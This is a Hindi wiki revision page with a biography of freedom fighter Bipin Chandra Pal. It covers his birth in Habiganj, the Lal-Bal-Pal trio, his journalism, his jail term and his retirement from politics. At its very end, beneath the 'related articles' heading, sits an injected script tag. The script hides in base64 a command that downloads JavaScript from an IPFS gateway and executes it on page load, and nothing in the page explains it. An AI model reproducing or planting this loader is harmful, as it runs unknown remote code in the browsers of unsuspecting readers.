"बिपिन चन्द्र पाल": अवतरणों में अंतर
गोविन्द राम (वार्ता | योगदान) No edit summary |
No edit summary |
||
(4 सदस्यों द्वारा किए गए बीच के 6 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा राजनीतिज्ञ | {{सूचना बक्सा राजनीतिज्ञ | ||
|चित्र=Bipin-chandra-pal.jpg | |चित्र=Bipin-chandra-pal.jpg | ||
|पूरा नाम= | |पूरा नाम=बिपिन चन्द्र पाल | ||
|अन्य नाम= | |अन्य नाम= | ||
|जन्म=[[7 नवंबर]], 1858 | |जन्म=[[7 नवंबर]], 1858 | ||
|जन्म भूमि=हबीबगंज ज़िला, (वर्तमान [[बांग्लादेश]]) | |जन्म भूमि=हबीबगंज ज़िला, (वर्तमान [[बांग्लादेश]]) | ||
| | |अभिभावक= | ||
|पति/पत्नी= | |पति/पत्नी= | ||
|संतान= | |संतान= | ||
पंक्ति 14: | पंक्ति 14: | ||
|क़ब्र= | |क़ब्र= | ||
|नागरिकता=भारतीय | |नागरिकता=भारतीय | ||
|प्रसिद्धि= | |प्रसिद्धि=स्वतन्त्रता सेनानी, शिक्षक, पत्रकार, लेखक | ||
|पार्टी=[[भारतीय राष्ट्रीय कांग्रेस]], ब्रह्म समाज | |पार्टी=[[भारतीय राष्ट्रीय कांग्रेस]], ब्रह्म समाज | ||
|पद= | |पद= | ||
|भाषा= | |भाषा= | ||
|जेल यात्रा= | |जेल यात्रा= | ||
पंक्ति 23: | पंक्ति 23: | ||
|शिक्षा= | |शिक्षा= | ||
|पुरस्कार-उपाधि= | |पुरस्कार-उपाधि= | ||
|विशेष योगदान= | |विशेष योगदान=विपिन चन्द्र [[भारतीय राष्ट्रीय कांग्रेस|कांग्रेस]] के क्रान्तिकारी देशभक्तों [[लाला लाजपत राय]], [[बाल गंगाधर तिलक]] और विपिन चन्द्र पाल (लाल बाल पाल) की तिकड़ी का हिस्सा थे। | ||
|संबंधित लेख= | |संबंधित लेख= | ||
|शीर्षक 1=आंदोलन | |शीर्षक 1=आंदोलन | ||
|पाठ 1=भारतीय स्वतंत्रता संग्राम | |पाठ 1=[[भारतीय स्वतंत्रता संग्राम]] | ||
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
|अन्य जानकारी='वंदे मातरम्' पत्रिका के संस्थापक रहे बिपिन चंद्र पाल एक | |अन्य जानकारी='वंदे मातरम्' पत्रिका के संस्थापक रहे बिपिन चंद्र पाल एक समाज सुधारक भी थे, जिन्होंने [[परिवार]] के विरोध के बावज़ूद एक विधवा से [[विवाह]] किया था। | ||
|बाहरी कड़ियाँ= | |बाहरी कड़ियाँ= | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''बिपिन चंद्र पाल''' ([[अंग्रेज़ी]]: ''Bipin Chandra Pal'', जन्म: | '''बिपिन चंद्र पाल''' ([[अंग्रेज़ी]]: ''Bipin Chandra Pal'', जन्म: [[7 नवंबर]], [[1858]]; मृत्यु: [[20 मई]], [[1932]]) का नाम [[भारत]] के [[स्वाधीनता संग्राम]] के इतिहास में 'क्रान्तिकारी विचारों के जनक' के रूप में आता है, जो [[अंग्रेज़|अंग्रेज़ों]] की चूलें हिला देने वाली '[[लाला लाजपत राय|लाल]]' '[[बाल गंगाधर तिलक|बाल]]' 'पाल' तिकड़ी का एक हिस्सा थे। | ||
==जन्म== | ==जन्म== | ||
[[अखण्डित बंगाल|बंगाल]] में हबीबगंज ज़िले के पोइल गाँव (वर्तमान में [[बांग्लादेश]]) में 7 नवम्बर 1858 को जन्मे विपिन चन्द्र पाल बहुमुखी प्रतिभा के धनी थे। वह शिक्षक और पत्रकार होने के साथ-साथ एक कुशल वक्ता और लेखक भी थे। इतिहासकार वी. सी. साहू के अनुसार विपिन चन्द्र [[भारतीय राष्ट्रीय कांग्रेस|कांग्रेस]] के क्रान्तिकारी देशभक्तों [[लाला लाजपत राय]], [[बाल गंगाधर तिलक]] और विपिन चन्द्र पाल (लाल बाल पाल) की तिकड़ी का हिस्सा थे, जिन्होंने [[1905]] में बंगाल विभाजन के विरोध में ज़बर्दस्त आंदोलन चलाया था। | [[अखण्डित बंगाल|बंगाल]] में हबीबगंज ज़िले के पोइल गाँव (वर्तमान में [[बांग्लादेश]]) में 7 नवम्बर 1858 को जन्मे विपिन चन्द्र पाल बहुमुखी प्रतिभा के धनी थे। वह शिक्षक और पत्रकार होने के साथ-साथ एक कुशल वक्ता और लेखक भी थे। इतिहासकार वी. सी. साहू के अनुसार विपिन चन्द्र [[भारतीय राष्ट्रीय कांग्रेस|कांग्रेस]] के क्रान्तिकारी देशभक्तों [[लाला लाजपत राय]], [[बाल गंगाधर तिलक]] और विपिन चन्द्र पाल (लाल बाल पाल) की तिकड़ी का हिस्सा थे, जिन्होंने [[1905]] में बंगाल विभाजन के विरोध में ज़बर्दस्त आंदोलन चलाया था। | ||
पंक्ति 40: | पंक्ति 40: | ||
==आज़ादी में योगदान== | ==आज़ादी में योगदान== | ||
[[चित्र:Bipin-Chandra-Pal-Postage-Stamp.jpg|thumb|left|बिपिन चन्द्र पाल के सम्मान में जारी [[डाक टिकट]]]] | [[चित्र:Bipin-Chandra-Pal-Postage-Stamp.jpg|thumb|left|बिपिन चन्द्र पाल के सम्मान में जारी [[डाक टिकट]]]] | ||
वंदे मातरम् राजद्रोह मामले में भी | वंदे मातरम् राजद्रोह मामले में भी [[अरबिंदो घोष]] के ख़िलाफ़ गवाही देने से इंकार करने के कारण वह छह [[महीने]] जेल में रहे। देश के प्रथम [[प्रधानमंत्री]] [[जवाहरलाल नेहरू|पंडित जवाहर लाल नेहरू]] ने [[1958]] में पाल की जन्मशती के मौक़े पर अपने सम्बोधन में उन्हें एक ऐसा महान् व्यक्तित्व क़रार दिया, जिसने धार्मिक और राजनीतिक मोर्चों पर उच्चस्तरीय भूमिका निभाई। पाल ने आज़ादी की लड़ाई के दौरान विदेशी कपड़ों की होली जलाने और हड़ताल जैसे आंदोलनों में बढ़-चढ़कर भूमिका निभाई। | ||
==निधन== | ==निधन== | ||
विपिनचन्द्र पाल [[1922]] में राजनीतिक जीवन से अलग हो गए और [[20 मई]], [[1932]] में अपने निधन तक राजनीति से अलग ही रहे। | विपिनचन्द्र पाल [[1922]] में राजनीतिक जीवन से अलग हो गए और [[20 मई]], [[1932]] में अपने निधन तक राजनीति से अलग ही रहे। | ||
पंक्ति 48: | पंक्ति 48: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतन्त्रता सेनानी}} | {{स्वतन्त्रता सेनानी}} | ||
[[Category:स्वतन्त्रता सेनानी]] | [[Category:स्वतन्त्रता सेनानी]][[Category:राजनीति कोश]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:इतिहास कोश]] | ||
[[Category:राजनीति कोश]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]] | |||
[[Category:इतिहास कोश]] | |||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
05:12, 7 नवम्बर 2017 के समय का अवतरण
बिपिन चन्द्र पाल
| |
पूरा नाम | बिपिन चन्द्र पाल |
जन्म | 7 नवंबर, 1858 |
जन्म भूमि | हबीबगंज ज़िला, (वर्तमान बांग्लादेश) |
मृत्यु | 20 मई, 1932 |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतन्त्रता सेनानी, शिक्षक, पत्रकार, लेखक |
पार्टी | भारतीय राष्ट्रीय कांग्रेस, ब्रह्म समाज |
विशेष योगदान | विपिन चन्द्र कांग्रेस के क्रान्तिकारी देशभक्तों लाला लाजपत राय, बाल गंगाधर तिलक और विपिन चन्द्र पाल (लाल बाल पाल) की तिकड़ी का हिस्सा थे। |
आंदोलन | भारतीय स्वतंत्रता संग्राम |
अन्य जानकारी | 'वंदे मातरम्' पत्रिका के संस्थापक रहे बिपिन चंद्र पाल एक समाज सुधारक भी थे, जिन्होंने परिवार के विरोध के बावज़ूद एक विधवा से विवाह किया था। |
बिपिन चंद्र पाल (अंग्रेज़ी: Bipin Chandra Pal, जन्म: 7 नवंबर, 1858; मृत्यु: 20 मई, 1932) का नाम भारत के स्वाधीनता संग्राम के इतिहास में 'क्रान्तिकारी विचारों के जनक' के रूप में आता है, जो अंग्रेज़ों की चूलें हिला देने वाली 'लाल' 'बाल' 'पाल' तिकड़ी का एक हिस्सा थे।
जन्म
बंगाल में हबीबगंज ज़िले के पोइल गाँव (वर्तमान में बांग्लादेश) में 7 नवम्बर 1858 को जन्मे विपिन चन्द्र पाल बहुमुखी प्रतिभा के धनी थे। वह शिक्षक और पत्रकार होने के साथ-साथ एक कुशल वक्ता और लेखक भी थे। इतिहासकार वी. सी. साहू के अनुसार विपिन चन्द्र कांग्रेस के क्रान्तिकारी देशभक्तों लाला लाजपत राय, बाल गंगाधर तिलक और विपिन चन्द्र पाल (लाल बाल पाल) की तिकड़ी का हिस्सा थे, जिन्होंने 1905 में बंगाल विभाजन के विरोध में ज़बर्दस्त आंदोलन चलाया था।
जीवन परिचय
'वंदे मातरम्' पत्रिका के संस्थापक रहे पाल एक बड़े समाज सुधारक भी थे, जिन्होंने परिवार के विरोध के बावज़ूद एक विधवा से शादी की। बाल गंगाधर तिलक की गिरफ़्तारी और 1907 में ब्रितानिया हुकूमत द्वारा चलाए गए दमन के समय पाल इंग्लैंण्ड गए। वह वहाँ क्रान्तिकारी विधार धारा वाले 'इंडिया हाउस' से जुड़ गए और 'स्वराज पत्रिका' की शुरुआत की। मदन लाल ढींगरा के द्वारा 1909 में कर्ज़न वाइली की हत्या कर दिये जाने के कारण उनकी इस पत्रिका का प्रकाशन बंद हो गया और लंदन में उन्हें काफ़ी मानसिक तनाव से गुज़रना पड़ा। इस घटना के बाद वह उग्र विचारधारा से अलग हो गए और स्वतंत्र देशों के संघ की परिकल्पना पेश की। पाल ने कई मौक़ों पर महात्मा गांधी की आलोचना भी की। 1921 में भारतीय राष्ट्रीय कांग्रेस के अधिवेशन में पाल ने अध्यक्षीय भाषण में गांधीजी की आलोचना करते हुए कहा था-
आप जादू चाहते हैं, लेकिन मैं तर्क में विश्वास करता हूँ। आप मंत्रम चाहते हैं, लेकिन मैं कोई ऋषि नहीं हूँ और मंत्रम नहीं दे सकता।
आज़ादी में योगदान
वंदे मातरम् राजद्रोह मामले में भी अरबिंदो घोष के ख़िलाफ़ गवाही देने से इंकार करने के कारण वह छह महीने जेल में रहे। देश के प्रथम प्रधानमंत्री पंडित जवाहर लाल नेहरू ने 1958 में पाल की जन्मशती के मौक़े पर अपने सम्बोधन में उन्हें एक ऐसा महान् व्यक्तित्व क़रार दिया, जिसने धार्मिक और राजनीतिक मोर्चों पर उच्चस्तरीय भूमिका निभाई। पाल ने आज़ादी की लड़ाई के दौरान विदेशी कपड़ों की होली जलाने और हड़ताल जैसे आंदोलनों में बढ़-चढ़कर भूमिका निभाई।
निधन
विपिनचन्द्र पाल 1922 में राजनीतिक जीवन से अलग हो गए और 20 मई, 1932 में अपने निधन तक राजनीति से अलग ही रहे।
|
|
|
|
|
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>